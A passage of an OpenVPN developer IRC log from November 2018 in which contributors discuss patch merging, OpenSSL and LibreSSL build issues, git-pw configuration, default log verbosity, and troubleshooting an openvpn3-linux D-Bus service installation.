[~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 13:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Sun Nov 18 2018 03:43 <@cron2> mattock1: you around? 08:16 <@vpnHelper> RSS Update - gitrepo: tls-crypt-v2: clarify --tls-crypt-v2-genkey man page section <https://github.com/OpenVPN/openvpn/commit/01039891ece9f38f7a17c80e5afc261ab5bcbaf3> 09:35 <@cron2> jftr, I won't make next wednesday's time slot - I'll be travelling to a conference, and my train arrives 11:20, so at meeting time I'll be walking across the town, shaking hands, and won't be able to sit down and stare into my laptop again before like 14.00... 11:30 < tincantech> cron2: if your in the mood to apply, how about this one: https://patchwork.openvpn.net/patch/583/ 11:30 <@vpnHelper> Title: [Openvpn-devel] tls-crypt-v2: fix client reconnect bug - Patchwork (at patchwork.openvpn.net) 11:31 < tincantech> I have been using it on all my clients (about 15) and they all work without error 12:36 <@cron2> less a question of "mood", more of "organizing myself around weekend craziness" :) 12:59 <@vpnHelper> RSS Update - gitrepo: tls-crypt-v2: fix client reconnect bug <https://github.com/OpenVPN/openvpn/commit/19d6d9c3533b83f934ea93359bca086a5d06011a> 13:02 < kitsune1> tincantech is happy now :) 13:05 < tincantech> cool :) much obliged 13:10 * kitsune1 had not idea you can lobby for patches.. 13:11 <@cron2> kitsune1: if there is an ACK, you can remind me that work needs to be done :-) - without an ACK, this is harder 13:12 < tincantech> asd it was all for the tls-crypt-v2 stuff i which cron2 applied a patch for today, i thought it was appropriate to give a wee nudge ;) 13:14 < tincantech> interesting this find may you: 13:14 < tincantech> alpine:~# openvpn --version 13:14 < tincantech> OpenVPN 2.4.6 x86_64-alpine-linux-musl [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jul 8 2018 13:14 < tincantech> library versions: LibreSSL 2.7.4, LZO 2.10 13:14 < kitsune1> just having some fun on this quiet sunday evening.. 13:16 < kitsune1> you mean that (OpenSSL) should be (LibreSSL) ? 13:17 <@cron2> 2.4.6 should build fine with recent LibreSSL versions 13:17 <@cron2> master is currently broken 13:17 <@cron2> (and release/2.4 might as well be) 13:17 <@cron2> due to the TLS 1.3 extension stuff 14:19 < tincantech> just to confirm that 2.4.6 builds fine with libressl: 14:19 < tincantech> alpine:~/openvpn/openvpn-2.4.6$ src/openvpn/openvpn --version 14:19 < tincantech> OpenVPN 2.4.6 x86_64-pc-linux-musl [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Nov 18 2018 14:19 < tincantech> library versions: LibreSSL 2.7.4, LZO 2.10 14:31 < tincantech> also, this config tests if the server can do --tls-cryp v1 and v2 at the same time, which it does 16:59 < tincantech> and also --tls-auth & crypt-v2 simultaneously 17:07 <@ordex> !! 17:08 < tincantech> eh up :) 18:06 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 252 seconds] 18:21 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:04 < tincantech> plaisthos: "When using pull-filter the app ignore what you put" .. even i would close that ;) 19:05 < tincantech> great answer tho :D --- Day changed Mon Nov 19 2018 01:18 <@cron2> tincantech: where? 01:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:10 <@cron2> we need to fix mattock1... 02:12 <@vpnHelper> RSS Update - tickets: #1142: Cannnot re-issue ovpn config after revoke <https://community.openvpn.net/openvpn/ticket/1142> 02:36 <@ordex> lol 02:37 <@ordex> cron2: agreed 02:37 <@ordex> he has to fix his own znc 02:45 <@cron2> ordex: this block-ipv6 patch - are you fine with the code itself now, just style fixes? or is there more to do? 02:45 <@cron2> haven't read the whole thread... 02:49 <@ordex> cron2: on the last version I only had style complaints, but for the code itself it was "ok" last time I reviewed 02:49 <@ordex> meaning, nothing bad came out - and assuming we all likethe approach (which seemed to be the case) then it can be merged. however I haven't performed any explit test 03:03 <@cron2> ok, I'll give it a whirl tonight 04:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:00 <@plaisthos> cron2: this gem: https://github.com/schwabe/ics-openvpn/issues/968 06:00 <@vpnHelper> Title: pull-filter · Issue #968 · schwabe/ics-openvpn · GitHub (at github.com) 06:04 <@cron2> indeed, the fun 06:04 <@cron2> is there a way to subscribe to just one conversation and not "see all issues"? 06:05 <@plaisthos> Yeah. Right side: notifications 06:05 <@cron2> ah, there. Not "watch" but "subscribe" 06:05 <@cron2> I need to see how this ends :-) 06:06 <@plaisthos> hehe 06:07 <@plaisthos> I am really not sure what the submitter actually wants :D 07:05 <@ecrist> tincantech: I would definitely know if terrance was having problems. 07:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:14 <@cron2> aaah! 08:14 <@cron2> so plaisthos is bundling feature-incomplete backends :-) 08:19 <@plaisthos> cron2: :P 08:19 <@plaisthos> it is marked "experimental" 08:19 <@plaisthos> and not on by default 08:19 <@plaisthos> but ignoring ping is stupid anway :D 10:29 < kitsune1> btw, what's wrong with that question about pull filter (apart from the stupidity of ignoring ping)? Not all users would know that openvpn3 does not support pull-filter -- I did not know. 10:30 <@plaisthos> kitsune1: the intial question is very weirdly formulated 10:30 < kitsune1> Trac #1142 appears to be rather dumb, though.. 10:31 < kitsune1> Yeah, the user's language skills are probably poor -- but in retrospect it becomes clear what he meant was "it used to work, does not work with openvpn3" after a few exchanges 10:32 <@plaisthos> kitsune1: yes, that's why I wrote: "For OpenVPN 2 the feature should work. If not, please provide a log." 10:36 < kitsune1> But look at Trac 1142 -- feel like saying: "Burn not your house to fright the mouse away" 13:12 < tincantech> kitsune1: #1142 looks like a spectacular XY problem to me ;) 13:19 < tincantech> i like your phrase 13:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 16:39 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 268 seconds] --- Day changed Tue Nov 20 2018 00:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:34 <@cron2> mornin 01:39 <@ordex> ay ay 01:51 <@mattock1> hi 01:52 <@cron2> not sure if you saw my comment wrt meeting... "I won't make it" 01:53 <@cron2> (on a conference tomorrow... train arrives 11:20, conference starts at 13:00, so at meeting time I'll be walking from train station to conference, check in, shake hands, etc.) 02:04 <@cron2> mattock does not want to talk to me... 03:11 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 03:11 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:17 <@ordex> plaisthos: for "Deferred client-connect patch set " we're waiting for v4, right? if so I will mark v3 as rejected on patchwork 05:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:04 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 264 seconds] 07:04 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 09:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Wed Nov 21 2018 00:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:18 <@mattock1> meeting today? at my end not much has changed except that I started testing Simon's MSI patches 00:19 <@mattock1> in openvpn-build 01:10 <@cron2> I can't make it 01:10 <@cron2> @meeting time I will be walking from a train to a conference location :) 01:10 <@cron2> (train arrives 11:20, first talk starts at 13:00, so @meeting time I'll be busy shaking hands etc.) 01:29 <@mattock1> ok 01:30 <@cron2> I have nothing in particular anyway, except express happiness about the way tap driver is progressing 01:32 <@mattock1> I feel exactly the same 01:32 <@mattock1> I'm not sure how much working time Stephen has spent on it, but with HLK it is 95% waiting, so probably not too much 01:33 <@mattock1> really good progress anyways 02:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:27 <@cron2> where was the git subcommand that lets you fetch stuff directly from patchwork? 02:27 <@cron2> this sounds like extremely convenient for patch review while sitting in a train 02:31 <@cron2> ah, git-pw 02:47 <@cron2> ok... I have this installed and setup, and "git pw patch download 453" works, but "git pw patch list" does not list anything... 02:47 <@cron2> ordex, dazo: I think one of you had this working? Anying special you did? 02:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:47 <@ordex> cron2: I always had troubles with list 02:48 <@cron2> mattock1: did you try git-pw? 02:48 <@cron2> ordex: as in "not doing anything"? 02:48 <@ordex> last time i used it i could see only some patches 02:48 <@ordex> even used since months 02:48 <@ordex> *haven't 02:49 <@ordex> let me try now 02:49 <@cron2> interesting. I see *no* patches 02:49 <@ordex> ah I see patches now 02:49 <@cron2> mmmh 02:50 <@cron2> do you use api key or user+pass? 02:50 <@ordex> but they are only 30 02:50 <@ordex> I thin api key 02:50 <@ordex> let me check 02:50 <@cron2> that might be "--limit" defaulting to 30 02:50 <@ordex> I have a "token" 02:50 <@cron2> yep, that's the API key... so do I 02:50 <@cron2> what have you configured as server and project? 02:56 <@ordex> server = https://patchwork.openvpn.net/api/1.0 02:56 <@ordex> project = "*" 02:56 <@ordex> cron2: ^^ 02:56 <@cron2> oh 02:56 <@cron2> I have project = openvpn2 02:57 <@cron2> with "*" I can get patches as well, but also only 30 03:03 <@ordex> yeah 03:03 <@ordex> [1850.12] <@cron2> that might be "--limit" defaulting to 30 03:03 <@ordex> :P 03:03 <@cron2> --limit 100 does not make a difference 03:04 <@ordex> right, same here 03:13 <@cron2> what's the current state of the client-connect v3 patch set? I saw you talking about a v4, but missed the reasoning 03:18 <@ordex> that's what I was asking 03:18 <@ordex> I think we discussed with plaisthos that this series needs quite some code style adjustments? 03:18 <@ordex> wasn';t this discussed during last meeting too ? 03:20 <@cron2> maybe it was but I forgot 03:29 <@cron2> 64 bytes from 195.30.0.2: icmp_seq=736 ttl=47 time=10910 ms 03:29 <@cron2> annoyance 03:38 <@cron2> mattock1: how are we going to handle Simon's patch set? 03:42 <@cron2> the patches are part of "openvpn", so we should follow the ACK-on-the-list procedure... 03:42 <@cron2> well, "the openvpn repo", not "the openvpn program" 03:44 <@cron2> I'm happy to do the merge/test compile/push dance, but do not have time to do the full review 03:51 <@cron2> syzzer: what are we going to do about 254? 04:00 <@cron2> anyway. train arriving $soonish... pack my stuff... back online in ~2h 04:02 <@ordex> enjoy ! 04:03 <@dazo> cron2: yeah, list in git-pw isn't working well ... haven't spent time digging into it ... but download and apply works fairly well 04:06 <@plaisthos> ordex: oh forgot about that, will send now 04:07 <@ordex> cron2: ^ 04:12 <@plaisthos> damn 04:12 <@plaisthos> I forgot add https://github.com/schwabe/openvpn/tree/deffered_client_connect_rebase into the cover letter 04:12 <@vpnHelper> Title: GitHub - schwabe/openvpn at deffered_client_connect_rebase (at github.com) 04:25 <@cron2> I'll trust you to sort it out in PW... 04:57 <@plaisthos> I just wanted to add that for convience the branch can also be viewed on github 06:05 <@mattock1> cron2: aren't simon's patches on the list already, with ACKs ("LGTM") on most of them? 06:06 <@mattock1> there we some which don't yet have been reviewed 06:06 <@mattock1> there are 06:11 <@cron2> ok, so I'll see which ones in the series have an LGTM and apply from start... (tomorrow) 06:21 <@mattock1> sounds good 06:21 <@mattock1> if I recall correctly one series of patches had LGTM for everything 06:33 <@cron2> that makes my job easier :) 06:43 <@dazo> we need to educate Jon to do the proper Acked-By: replies ;-) 07:19 <@mattock1> :) 07:36 <@cron2> tincantech: while your comment about "how to get into the Administrators group" might be correct, this has nothing to do with "why is openvpn calling route.exe instead of reaching out to the service" 07:37 < tincantech> ok 07:38 <@cron2> I assumed the config had something funky with ip-win32 or route-method, but that seems to be not the case... and since it talks about service first, it's unclear why it is fallign back to route.exe later on 07:38 <@cron2> maybe Selva has some insight 07:39 < tincantech> i see what you mean 07:53 < tincantech> cron2: FYI, in 2.4 it is --route-method exe not --route-method netsh ;) 07:54 < tincantech> but your point is still valid 07:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:58 < tincantech> i'll wait for selva or who-ever 08:06 <@dazo> tincantech: had a time to look at openvpn3-linux? 08:06 < tincantech> breifly but not enough to be of use :( 08:08 <@dazo> I'm shaping up the code for a larger update .... with complete DNS configuration implemented out-of-the-box ... including the least privileged OpenVPN client setup out-of-the-box (no active root processes running) 08:08 <@dazo> but the current public code is fully functional 08:08 <@dazo> tincantech: something unclear about how to use it? or something else? 08:09 < tincantech> i just have not been motivated to dive into it headlong because I still have lingering problems with other things since losing my previous computer 08:10 <@dazo> no worries, get your stuff in shape - that's more important :) 08:10 <@dazo> I was just curious 08:11 < tincantech> my main problem is upgrading linux-mint .. i should not have done so and now i use this "bleeing edge" version, it has *many* irritating bug-ish problems 08:12 < tincantech> also RL ;) 08:14 <@dazo> RL is overrated :-P 08:34 < gcoxmoz> defer-for-client-connect: yummy, I look forward to trying this once it lands. 09:06 <@cron2> gcoxmoz: if you can help with reviewing and testing, that would be welcome 09:08 <@cron2> tincantech: whoa, the server is pushing "route-method exe"... I had no idea this is pushable... 09:10 < gcoxmoz> Unfortunately, I'm hideously unqualified to review code of this magnitude (my last C, aside from the defer plugin, was about 20 years ago). I'm more likely to be a tester once it hits master and I can start hacking on my plugin + defer scripts. 09:10 <@cron2> can you compile "from git"? 09:10 <@cron2> in that case plaisthos might provide a git branch with master+this, so you can test it and report "highlevel" success or failure 09:12 < gcoxmoz> Probably if I sit and think about it. Probably not before 2019-01-01, due to end-of-year crunch and needing my staging vpn box for testing dayjob things, though. 09:12 < gcoxmoz> But now I have a name and know who to ping if time opens up. 09:33 <@dazo> gcoxmoz: install git and the other dependencies (automake, autoconf, plus what you need to compile the tarball) ... then $ git clone https://gitlab.com/OpenVPN/openvpn.git ; cd openvpn ; autoreconf -vi && ./configure .... and then you're ready to run 'make' to build it 09:33 <@vpnHelper> Title: OpenVPN / openvpn · GitLab (at gitlab.com) 11:15 < tincantech> cron2: horay for --verb 4 ;-) 11:16 <@plaisthos> gcoxmoz: sure 11:16 <@plaisthos> testing is very welcome 11:17 <@plaisthos> gcoxmoz: also if you read the manpage changes and tell me if that is understandble would be very welcome 11:17 < gcoxmoz> ok, THAT I can review. :) 11:17 <@plaisthos> 11:12:36 <@plaisthos> I forgot add https://github.com/schwabe/openvpn/tree/deffered_client_connect_rebase into the cover letter 11:17 <@vpnHelper> Title: GitHub - schwabe/openvpn at deffered_client_connect_rebase (at github.com) 11:18 <@plaisthos> ignore that the branch name is completely misspelled :P 11:18 * gcoxmoz deletes the comment he was starting 11:18 <@plaisthos> hehe 11:28 <@plaisthos> gcoxmoz: probably best ping me per email if I don't react here 13:28 * tincantech recommends PUSH_REPLY be change to --verb 3 13:45 * tincantech thinks it is probably not 'that' simple l) 13:53 <@cron2> tincantech: technically it most likely is... I'd do a quick round of discussion on the list on whether anyone knows if there is a special reason for "4" or "just because it has always been that way" 13:53 < tincantech> cron2: if not change the code, you could consider changing the sample configs to --verb4 13:54 < tincantech> in fact, i would recommend ^that instead of changing code 13:54 < tincantech> anybody who needs to control their log file will be easily advised 13:55 < tincantech> "why bother to keep having to ask for --verb 4" .. when it could be the default 13:58 < tincantech> unless .. if there is some alterior motive ;) 13:59 * cron2 has no idea, this all predates my involvement 14:01 < tincantech> np .. by "alterior motive" may be the phrase "i'm not a robot" is more /accurate/ 14:02 < tincantech> if left at 4 14:02 * tincantech is a cynical old b*sturd 14:04 <@dazo> tincantech: (in a hurry, just weighting in) ... Generally, --verb 4 and higher are considered debug levels, --verb 3 and below are more suitable for normal production 14:05 <@dazo> and we've generally (historically) preferred to stay closer to what people should use in production, and then teach them how to get debug details when needed 14:05 < tincantech> dazo: gotcha 1 ;0 14:06 * tincantech shift key is sticking in the cold 14:06 <@dazo> and even though, we most commonly ask people to move to --verb 4 when they need help .... there are even more users who don't even ask for help, where it works for them ... whether they use 3 or 4 in production is then quite unknown, but not impossible it is more likely 3 14:07 * dazo gotta go 14:08 < tincantech> dazo: mine is mearly a suggestion, but on the whole I doubt if 1 in 10,000 users would notice a change from 3 to 4 in the sample configs 14:08 < tincantech> speak later if you het time 14:08 < tincantech> get* 14:16 < tincantech> dazo: I get the point and thus retract my suggestion .. but i maintain my cynical postion :D 18:04 -!- tincantech is now known as the-button 18:04 -!- the-button is now known as tincantech 18:39 < tincantech> dazo: ^/^ 22:46 < kitsune1> s/alterior/ulterior/ please ;) 23:32 < tincantech> kitsune1: you know smeg .. 23:32 < tincantech> don't push the-button 23:32 < tincantech> ;) 23:34 < tincantech> please 23:35 < tincantech> it is ironic thought 23:36 < tincantech> that the only person to complain of my poor quality antics .. is now "1" 23:36 < tincantech> ahh fuck you all !!!! 23:37 * tincantech is having an .. fucking 23:37 < tincantech> WRF RL 23:38 < tincantech> fuck off 23:38 < tincantech> and beer 23:45 * tincantech apopologiesis and leaves --- Day changed Thu Nov 22 2018 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:46 <@cron2> good morning 03:03 <@ordex> morgen 04:06 <@mattock1> huomenta 04:29 <@cron2> mattock1: while you're here :-) - what happened to the T-Shirts? 05:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:44 <@plaisthos> is this foreign_option_2 openwrt stuff? 09:41 <@plaisthos> oh god, I hate users how over interpret what your program is doing and report you their interpretation of what is happening instead of telling you what is really happening 09:42 <@plaisthos> Just spend like 5 messages back and forth because the users tells me that the allowed app selection is misbehaving but turns out the OS just ignores the allowed app selection 16:00 <@ordex> hehe --- Day changed Fri Nov 23 2018 01:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 05:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:31 < tincantech> kitsune1: sorry for swearing at you :( i have no excuse so won't make one up 10:31 < tincantech> and sorry to all for my offense 11:16 * dazo gives tincantech a cookie 11:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:00 < tincantech> is that the cookie with the sleeping pills spinkled on top ;) 12:13 <@dazo> tincantech: nope! But it might be a tracking cookie :-D 12:30 < tincantech> you want to track me ? i would think not, except to get away 12:30 <@dazo> ;-) 12:30 <@dazo> you never know if or when that info can become useful ;-) 12:31 < tincantech> dazo: FYI: i had a proper stab at openvpn3 the other day .. but i'm not sure linux-mint is ready for it 12:32 <@dazo> tincantech: what happened? 12:32 <@dazo> or rather, what didn't happen :-P 12:32 < tincantech> as you are here now i'll rtry again 12:33 <@dazo> does linux-mint use systemd/journal? 12:33 <@dazo> (for the first releases, our target distros are Debian 9+, Ubuntu 18.04+, Fedora 27+ and RHEL/CentOS/SL 7+) 12:35 < tincantech> yes mint using system and dbus which is why i gave it a shot there 12:35 < tincantech> i have centos so i know i can try that aswell 12:36 < tincantech> i'll have to reread the doc as well .. i'll msg you later when i find the point I gave up 12:38 < tincantech> FYI: i have the openvpn user/group, make install, reload dbus all done etc 12:42 <@dazo> tincantech: okay, then you'll have some clues in the journal (journalctl --since today ... or journalctl -b) 12:42 < tincantech> do i need to start any new systemd services ? 12:42 <@dazo> nope, everything should be started automatically when needed 12:43 <@dazo> (via the so called D-Bus auto-start feature) 12:43 < tincantech> ah .. well that does not appear to be the case .. but i probably made a mistake somewhere 12:43 < tincantech> eg: 12:43 < tincantech> root@home:~/git/ovpn3-lnx# openvpn3 log-service 12:43 < tincantech> log-service: ** ERROR ** : Process net.openvpn.v3.log received signal 6 12:44 <@dazo> so you need to ensure the auto-start .service files are in the proper files .... on RHEL/Fedora it is here /usr/share/dbus-1/system-services 12:45 <@dazo> try to start the logger manually as root .... just do /path/to/openvpn3-linux/openvpn3-service-logger --timestamp --log-level 6 12:45 <@dazo> if that starts, we're on a good path :) 12:46 <@dazo> if that fails, then the D-Bus policy is probably not installed in the proper directory ... which in the RHEL/Fedora universe is under /etc/dbus-1/system.d/ 12:47 <@dazo> in both the auto-start dir and policy dir, you should have some net.openvpn.v3.* files 12:47 <@dazo> but the twist is ... I don't know where Linux Mint might locate these files 12:47 < tincantech> that's ok .. i'll find them 12:48 < tincantech> i was looking for openvpn3.blah not net.openvpn3.bla 12:48 <@dazo> net.openvpn.v3 12:49 < tincantech> yeah .. sorry ;) 12:49 <@dazo> ;-) 12:50 < tincantech> i really don't think mint is upto it yet .. i'll try again on a more compat distro 12:52 <@dazo> if those files are properly installed to where dbus-daemon expects them to be, it should be fine .... oh, and the paths inside the net.openvpn.v3.*.service files must also point at the proper location for the binaries 12:52 <@dazo> but that's all the d-bus magic on the configuration side 12:53 < tincantech> usr/local/share .. i'm getti theere ;) 12:54 <@dazo> if testing on fedora, consider just installing the dnf-copr plugin ... then you just do: dnf copr enable dsommers/openvpn3 && dnf install openvpn3-client (or replace dnf with yum for CentOS 7) 12:54 <@dazo> then you even get the bash-completion installed correctly too 12:55 <@dazo> (for the openvpn3 command) 12:56 <@dazo> hmmm /usr/local/share .... sounds like you didn't give --prefix=/usr ... to ./configure ... or didn't read the details about --sysconfdir and --datarootdir carefully enough ;-) 12:57 < tincantech> i guess not ;) 12:57 < tincantech> i have found the binaries tho :) 12:57 <@dazo> good! 12:58 < tincantech> the logger returns a suitable error: No logging enabled. Aborting. 12:58 <@dazo> ahh, add --service 12:58 < tincantech> plus the versuion etc 12:58 <@dazo> actually, trying to start them (can be done via root; they will drop privileges by default) gives a good indication if the D-Bus policy is loaded 12:59 <@dazo> the logger will be silently waiting for the other components to start doing things 13:00 < tincantech> this is probably due to me misunderstnding the --prefix stuff but as root : 13:00 < tincantech> Idle exit set to 10 minutes 13:00 < tincantech> terminate called after throwing an instance of 'openvpn::DBusException' 13:00 < tincantech> what(): openvpn3-service-logger could not register 'net.openvpn.v3.log' 13:00 < tincantech> Aborted (core dumped) 13:00 < tincantech> plus the version etc at the top 13:00 <@dazo> okay, the D-Bus policy is not installed correctly 13:01 < tincantech> ok .. let me do some reading first (not tonight tho) and I'll also check the --prefix stuff again 13:03 <@dazo> have a look at where systemd installs its D-Bus policies .... in the rpm-world, something like: rpm -ql systemd | grep dbus-1 should give a good hint 13:03 <@dazo> (not sure how to do the same in Linux Mint) 14:12 < valdikss> Hello guys. OpenVPN 2.4.6 won't compile with OpenSSL 1.0.2. Is that expected? 14:12 < valdikss> Lots of errors inside openssl_compat.h 14:31 < valdikss> https://gist.github.com/ValdikSS/cb7e9f8ad3e9b450bdfaac18d3691ea0 14:31 <@vpnHelper> Title: gist:cb7e9f8ad3e9b450bdfaac18d3691ea0 · GitHub (at gist.github.com) 14:58 <@dazo> valdikss: That is unexpected ... especially since RHEL/CentOS 7 ships with openssl-1.0.2 ... and I've done builds with both the stock gcc (4.8.something) and devtoolset-7 which is some gcc-7 version 14:58 < valdikss> Maybe that's because I build openssl with no-deprecated flag 14:58 <@dazo> which compiles is this? 14:58 <@dazo> ahh, yes, that can be 14:59 < valdikss> Because OpenVPN can't be built with OpenSSL 1.1.1a either 14:59 < valdikss> (which is also build with no-deprecated) 14:59 <@dazo> hmmm ... I believe we have some openssl-1.1 patches on the ML, not sure now if they've been merged 15:00 <@dazo> or maybe it was only tls-1.3 support, don't recall now 15:00 < valdikss> They should have been merged, Arch has OpenSSL 1.1.1a and OpenVPN 2.4.6. 15:01 < valdikss> I'm cross-compiling for ARMv7 with old compiler, so it could be my fault 15:01 <@dazo> ahh, good! Yes, I see now the "patch applied" responses on the ML ... then it is the TLSv1.3 support which in the pipe, which was an openssl-1.1 feature :) 15:02 <@dazo> how old? 15:02 < valdikss> 4.9 15:02 < valdikss> Let me try to rebuild openssl 15:03 <@dazo> the "dereferencing" errors can be related to OpenSSL 1.1 being much stricter on access to internal struct members; which we use quite a bit ... those direct accesses now have to go via some wrapper functions 15:04 <@dazo> I would try to build OpenSSL without the no-deprecated flag for now 15:04 < valdikss> Yep, works now 15:04 < valdikss> no-deprecated flag is the one which made the issue 15:04 <@dazo> cool 15:04 <@dazo> alright, we should probably look into that at some point in the future 15:51 < kitsune1> tincantech: ;) 15:55 < kitsune1> Recall this discussed on a trac ticket a while ago: OpenVPN is not yet there to work with --no-deprecated openSSL builds. afaik, distros are not building with that option as yet. 16:03 < valdikss> --ignore-unkown-option 16:03 < valdikss> --ignore-unkown-option in "openvpn --help" should be --ignore-unkNown-option 17:10 <@dazo> please send patch :) 17:10 * dazo gotta run for a train 18:55 < tincantech> https://forums.openvpn.net/viewtopic.php?f=10&t=27487 18:55 <@vpnHelper> Title: [RFE] explicit-exit-notify should be "allowed" in tcp clients - OpenVPN Support Forum (at forums.openvpn.net) 18:56 < tincantech> kitsune1: thanks for accepting :) 21:43 < tincantech> That last post look stupid at first glance .. please take a peek 22:03 <@ordex> hmm not that stupid no? 22:03 <@ordex> he basically wants exit-notify for udp, but he can;t because there is another remote using tcp --- Day changed Sat Nov 24 2018 02:41 <@cron2> can't you put it into <connection> blocks nowadays? 02:42 <@cron2> but besides this, I think it's reasonable to just allow it (we can log a "this won't do anything" warning for TCP, but still) 03:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:29 < tincantech> Interesting .. the openvpn-gui is not built the same way by the build system as it is "natively" (if that is the correct term) 11:32 < tincantech> The "native" build (using cygwin) when make is called runs : gcc -DHAVE_CONFIG_H -I. -D_UNICODE -DWIN32_LEAN_AND_MEAN -D_WIN32_WINNT=_WIN32_WINNT_VISTA -DWINVER=_WIN32_WINNT -municode -g -O2 -pedantic -Wall -Wextra -MT main.o -MD -MP -MF .deps/main.Tpo -c -o main.o main.c 11:32 < tincantech> which on linux gcc results in : gcc: error: unrecognized command line option ???-municode??? 11:32 < tincantech> Makefile:556: recipe for target 'main.o' failed 11:33 < tincantech> openvpn build-system does not specify -municode 11:37 < tincantech> ahh .. no that's not quite right .. 11:41 < tincantech> the cygwin build calls "gcc" .. the build-system calls "x86_64-w64-mingw32-gcc" but they do both specify -municode 11:41 < tincantech> must be something about cygwin 12:51 < kitsune1> By default cygwin uses gcc which links against cygwin runtime. OpenVPN-GUI is supposed to be compiled with mingw which uses microsoft's run time. It may be possible to make the former work, but not out of the box. In fact to build the GUI on Windows you only need mingw and external libraries like openssl, cygwin is not needed. 14:02 < tincantech> the compile instruction for the GUI do not list aX compile option only cygwin .. but it's ok because i customised the build-system just for the GUI and deps :) 14:02 < tincantech> that is "a cross compile" 14:08 < tincantech> I found we can use a legal w7/8/10 vbox from M$ .. So I'm almost ready to test win things again 14:09 < tincantech> https://sites.google.com/site/easylinuxtipsproject/oldgrub 15:45 < kitsune1> Yeah, cygwin with mingw64 should work as explained in BUILD.rst in the GUI repo, but the description is confusing. On Windows its not a cross-compile. Though mingw compiler is required and host has to be set to x86_64-w64-mingw32. Else cygwin will use gcc for Windows which wont work. 15:46 < kitsune1> Anywya, cross-compiling on Linux us the easiest option :) 15:47 < kitsune1> Is that "free" win7/8/10 license time limited requring new downloads every few months? 16:00 < tincantech> no .. you can download the vbox appliance once and AFAICS use it "for-ever" 16:01 < tincantech> need to keepp renewing the vbox machine from the appliace every time the VM expires 16:01 < tincantech> but that's only 90 days for w10 but 540 for w7 ! 16:04 < kitsune1> Wow! Very useful for a test rig. --- Day changed Sun Nov 25 2018 07:23 < tincantech> When installing openvpn in windows and being logged in as admin already and then NOT creating the "openvpn admin" group is *extremely* irritating .. why not just create the group if it does not exist and auto add the computer admin anyway ? 07:28 < tincantech> and no "help" on the menu .. 07:28 < tincantech> almost as bad as no "openvpn" on the "get openvpn" button .. 07:30 < tincantech> feels like amateur hour 09:46 < kitsune1> tincantech: the computer admin need not be a member of that group to run configs from anywhere. 11:27 < tincantech> kitsune1: yes ... but a sensible admin will log in as admin to install openvpn and then login as a usr for day-to-day stuff .. only to find out that the openvpn installer has a spanner in its works 11:28 < tincantech> this is what windows installers are made to do .. take the pain out of 